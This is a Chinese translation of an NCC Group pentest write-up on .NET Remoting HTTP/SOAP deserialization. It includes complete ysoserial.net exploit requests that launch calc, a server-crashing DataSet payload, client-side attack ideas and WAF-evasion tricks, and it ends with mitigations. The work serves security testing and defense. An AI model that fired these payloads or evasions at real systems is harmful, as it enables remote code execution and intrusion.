一、概述
在NCC Group最近一次的安全评估中,我发现了一个.NET v2.0应用程序,该应用程序使用.NET Remoting通过HTTP方式发送SOAP请求,以与其服务器进行通信。在对应用程序进行了反编译后,我意识到该服务器已经将TypeFilterLevel设置为Full,这非常危险,因为它可能会导致攻击者利用反序列化攻击实现远程代码执行。当然,实际的漏洞利用并不像我最初所想的那样直截了当。
因此,我进行了研究,希望通过我的研究能够为渗透测试人员提供帮助,以便将来能够更加容易的在这一领域进行测试。本篇文章主要说明了如何使用ysoserial.net小工具在使用HTTP方式的.NET Remoting应用程序中寻找存在漏洞的应用程序,并进行漏洞利用。
在我们的.NET环境中,包括一台易受攻击的客户端,并且其服务器也是为实战演练的目的而创建的,可以在这里公开访问。
二、通常存在的障碍
使用.NET Remoting的应用程序可以选择使用TCP、IPC和HTTP信道。James Forshaw编写了一个针对TCP和IPC信道进行测试和漏洞利用的出色工具。但是,我们没有找到任何使用SOAP消息的HTTP信道。
当ysoserial.net的SOAP Payload在没有任何更改的情况下直接发送时,服务器会显示一条错误消息。
为了向已知的.NET Remoting对象URI(以下称为“服务名称”)创建有效的SOAP请求,我们需要知道对象名称空间及其结构。这可能使我们的黑盒测试变得更加困难,因为即使我们掌握了服务名称,通常情况下也没有这些信息。
我的目标使用的是.NET框架的2.0版本,但ysoserial.net项目使用的是4.x版本。在测试.NET Remoting的过程中可能有时无法使用该工具,但我们可以使用.NET v2.0的ysoserial.net,它可以派上用场。
如果无法访问源代码,我们很难知道应用程序是否已经将TypeFilterLevel设置为Full。因此,我需要找到一种方法来安全地对它进行测试,希望不会导致服务器的崩溃。
三、利用反序列化漏洞
如果应用程序已经将TypeFilterLevel设置为Full,那么我们无需实际了解要发送到服务器的对象和SOAPAction标头。唯一需要知道的信息,就是我们需要知道在对TCP或IPC信道进行漏洞利用过程中所需的服务名称。
其他必要的条件如下:
1. HTTP的类型应该是POST或M-POST;
2. Content-Type标头应该是text/xml;
3. SOAPAction标头不应该为空;
4. Content-Length标头应该显示准确的请求主体大小。
如果设置了上述所有的标头,但服务名称无效,那么服务器将会作出如下响应:
System.Runtime.Remoting.RemotingException - Requested Service not found
如果没有设置上述标头,例如在发送GET请求时,服务器会响应截然不同的错误消息。下面展现了一般情况下发送GET请求时的错误消息:
System.ArgumentNullException: No message was deserialized prior to calling the DispatchChannelSink.
需要注意的是,当使用?wsdl、?sdl或?sdlx将GET请求发送到有效服务名称时,有时服务可能会返回有用的数据。然而,在我们提供的GitHub示例中,却并非如此。
为了使用ysoserial.net生成SOAP Payload,我们可以使用任何支持SoapFormatter的小工具。但是,必须使用以下技巧之一,才能使Payload能够正常工作。
方法1:从Payload中删除<SOAP-ENV:Body>和</SOAP-ENV:Body>标记。
方法2:在<SOAP-ENV:Body>标记后立即添加以下标记之一:
<GetComIUnknown/> <IsInstanceOfType/> <InvokeMember/> <GetLifetimeService/> <InitializeLifetimeService/> <__RaceSetServerIdentity/> <CanCastToXmlType/> <CreateObjRef/> <Equals/> <GetHashCode/> <GetType/> <ToString/> <AnyOtherKnownMethodsOfTheTargetHere/>
当我们使用ysoserial.net的TextFormattingRunProperties小工具运行cmd /c calc命令时,以下的HTTP请求中展现了一个成功的示例。在这个示例中,服务名称为VulnerableEndpoint.rem。
使用上面的第一种方法,HTTP请求如下:
POST /VulnerableEndpoint.rem HTTP/1.1 Content-Type: text/xml SOAPAction: "x" HOST: target Content-Length: 1470 <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35"> <ForegroundBrush id="ref-3"><ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="LaunchCalc" ObjectType = "{ x:Type Diag:Process}" MethodName = "Start" > <ObjectDataProvider.MethodParameters> <System:String>cmd</System:String> <System:String>/c "calc" </System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary></ForegroundBrush> </a1:TextFormattingRunProperties> </SOAP-ENV:Envelope>
其工作原理如下图所示:
使用上面的第二种方法,HTTP请求如下:
POST /VulnerableEndpoint.rem HTTP/1.1 Content-Type: text/xml SOAPAction: "x" HOST: target Content-Length: 1518 <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ToString/> <a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35"> <ForegroundBrush id="ref-3"><ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="LaunchCalc" ObjectType = "{ x:Type Diag:Process}" MethodName = "Start" > <ObjectDataProvider.MethodParameters> <System:String>cmd</System:String> <System:String>/c "calc" </System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary></ForegroundBrush> </a1:TextFormattingRunProperties> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
在使用上述两种方法的过程中,即使漏洞成功利用,服务器应用程序仍然会显示以下错误消息:
**** System.Runtime.Remoting.RemotingException - Server encountered an internal error.
(System.Runtime.Remoting.RemotingException - 服务器遇到内部错误)
当TypeFilterLevel设置为Low时,服务器应用程序会响应以下错误消息:
**** System.Reflection.TargetInvocationException - Exception has been thrown by the target of an invocation. **** System.Security.SecurityException - Request failed.
(System.Reflection.TargetInvocationException – 调用目标抛出了异常)
(System.Security.SecurityException – 请求失败)
此时,ysoserial.net生成的SOAP请求只能产生错误,不会使服务器的应用程序崩溃。我们可以使用上述错误消息,来识别应用程序服务器是否易受攻击。
为了扫清测试过程中对.NET框架2.0版本应用程序进行漏洞利用的最后一个障碍,我创建了一个新的ysoserial.net v2.0项目,可以在这里找到。但是,该项目仅支持有限数量的小工具,并且还要求目标安装.NET框架的3.5版本。尽管这并不理想,但在测试过程中,可以在我的目标上成功实现漏洞利用,并且该目标主机也安装了较新版本的.NET框架。仅仅依赖于.NET框架2.0版本的漏洞利用,还需要使用其他新的小工具。
四、防范可能出现的拒绝服务问题
即使TypeFilterLevel被设置为Low,也可能会使服务器应用程序发生崩溃。在使用DataSet类(参考)进行测试的期间,就发生了这种情况,其中我们使用了由ysoserial.net的TypeConfuseDelegate小工具生成的Payload,如下所示:
POST /VulnerableEndpoint.rem HTTP/1.1 Content-Type: text/xml SOAPAction: "x" Host: target Content-Length: [valid length] <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"> <DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat> <DataSet.DataSetName id="ref-3"></DataSet.DataSetName> <DataSet.Namespace href="#ref-3"/> <DataSet.Prefix href="#ref-3"/> <DataSet.CaseSensitive>false</DataSet.CaseSensitive> <DataSet.LocaleLCID>1033</DataSet.LocaleLCID> <DataSet.EnforceConstraints>false</DataSet.EnforceConstraints> <DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/> <DataSet.Tables.Count>1</DataSet.Tables.Count> <DataSet.Tables_0 href="#ref-4"/> </a1:DataSet> <SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">[base64 formatted using: ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c calc -o base64]</SOAP-ENC:Array> </SOAP-ENV:Envelope>
因此,上述方法并不安全,我们无法放心地将其用于确定应用程序是否易受攻击。需要注意的是,我们没有针对使用IIS托管应用程序的情况进行测试。
五、对客户端进行攻击
当客户端和服务器之间的流量没有进行加密时,可以通过中间人攻击的方式来操纵服务器的响应。这可能会导致客户端上的远程代码执行,与针对服务器应用程序进行漏洞利用类似。此外,如果攻击者可以更改客户端应用程序的配置,那么就可以连接到能够使用恶意消息进行响应的恶意服务器上,从而在受害者的计算机上运行命令。
在这里,也可以使用上文所述的针对服务器应用程序使用的第一种漏洞利用方法。我们在删除<SOAP-ENV:Body>和</SOAP-ENV:Body>标记后,可以使用ysoserial.net生成SOAP Payload。
为了使这一攻击方法能按计划执行,我们应该更新响应中的Content-Length标头,以匹配响应主体的大小。或者,也可以完全删除此标头。
请注意,除非错误地处理了这一错误,否则这种测试方式可能会使客户端应用程序发生崩溃。
六、WAF绕过技术
除了使用不同的Payload之外,.NET Remoting中的HTTP请求还具有许多可用于绕过Web应用程序防火墙的独特作用。
6.1 HTML编码、CDATA以及空格
由于请求是XML格式,因此我们可以使用HTML编码来避免某些寻找AAEAAAD等内容的WAF设备。例如,这一模式可以替换为AAEAAAD来发送。
CDATA样式(<![CDATA[ string here ]]>)仅在包含整个Payload的情况下才能正常使用。如果]]>的后面有任何字符串,那么服务器将丢弃最后一个]]>之前的任何字符串。
服务器会忽略使用Base64编码后的字符串中的空格字符。这同样也可以用于绕过基于签名的WAF规则。
6.2 使用__RequestVerb和__requestUri
只要将__RequestVerb标头设置为POST,就可以将HTTP的类型更改为任意类型,例如GET。
服务名称同样可以从URL中删除,并且可以在__requestUri标头中发送。
6.3 格式错误的HTTP标头
由于使用.NET Remoting的服务器应用程序会自行处理传入的SOAP HTTP请求,因此它们并不遵循HTTP标准。因此,可以更改或删除一些重要的标头,例如HOST,或者使用空格字符来替换HTTP版本和类型。下面的示例中,展现了在反序列化攻击期间,可以使用的有效的HTTP请求标头:
This is the first line of the HTTP request! Content-Type: text/xml __requestUri: VulnerableEndpoint.rem __RequestVerb: POST SOAPAction: catch me if you can Content-Length: 3865
除此之外,它还支持HTTP-Pipelining,可以滥用这种方法来发送更多模糊的请求。
值得一提的是,有时WAF会在标头中查找某些特殊值,例如User-Agent和HOST标头,并允许格式正确的请求通过。因此,发送格式错误的HTTP请求可能并不是总会有效。除此之外,当通过另一个代理或Web服务器(例如:IIS)时,该请求可能会失败。
6.4 字符集和编码混淆
.NET Remoting HTTP服务器会忽略Content-Type标头的charset属性。另一方面,正文中的XML消息可以使用类似于ibm500或utf-32的编码方式来对Payload进行编码。HTTP Smuggler Burp扩展(https://github.com/nccgroup/BurpSuiteHTTPSmuggler)可以用于编码XML请求。但是,仍然需要在编码的Payload前面添加具有适当编码的XML Prolog,而不能使用任何CR-LF字符。下面的示例展现了使用ibm500编码的XML Prolog:
<?xml version = '1.0' encoding = 'ibm500'?>
下图展现了可能导致代码执行的最终有效HTTP请求:
七、建议
根据微软官方提供的建议,开发人员可以从传统的.NET Remoting转移到使用Windows Communication Foundation(WCF)。正如这篇文章所提到的,将WCF与DataContractSerializer一起使用,可以提高应用程序的安全性,并防范反序列化攻击。
微软还建议用户,始终对终端进行身份验证,并加密通信流,其具体方法是在IIS中托管远程类型,或者通过构建自定义信道接收器来完成此项工作。需要注意的是,即使连接已经完全通过身份验证和加密,受信任的服务器仍然可以在客户端应用程序上执行代码。
将TypeFilterLevel设置为Low也有助于降低风险,但它不能消除仍然可以使用危险的白名单方法带来的攻击风险。在这项研究中,我无法确定在客户端应用程序上将TypeFilterLevel设置为Low以防范漏洞利用的正确方法。一旦我找到解决方案,我将立即更新提供的示例源代码,并在注释中提供一个安全的示例。
如果可能,我们建议将.NET Remoting终端设置为可信的IP地址。
八、参考
[1] https://github.com/pwntester/ysoserial.net
[2] https://github.com/nccgroup/VulnerableDotNetHTTPRemoting
[3] https://github.com/tyranid/ExploitRemotingService/
[4] https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
[5] https://github.com/nccgroup/BurpSuiteHTTPSmuggler
[7] https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf
[8] https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/c2swb8ah(v=vs.100)
还没有评论,来说两句吧...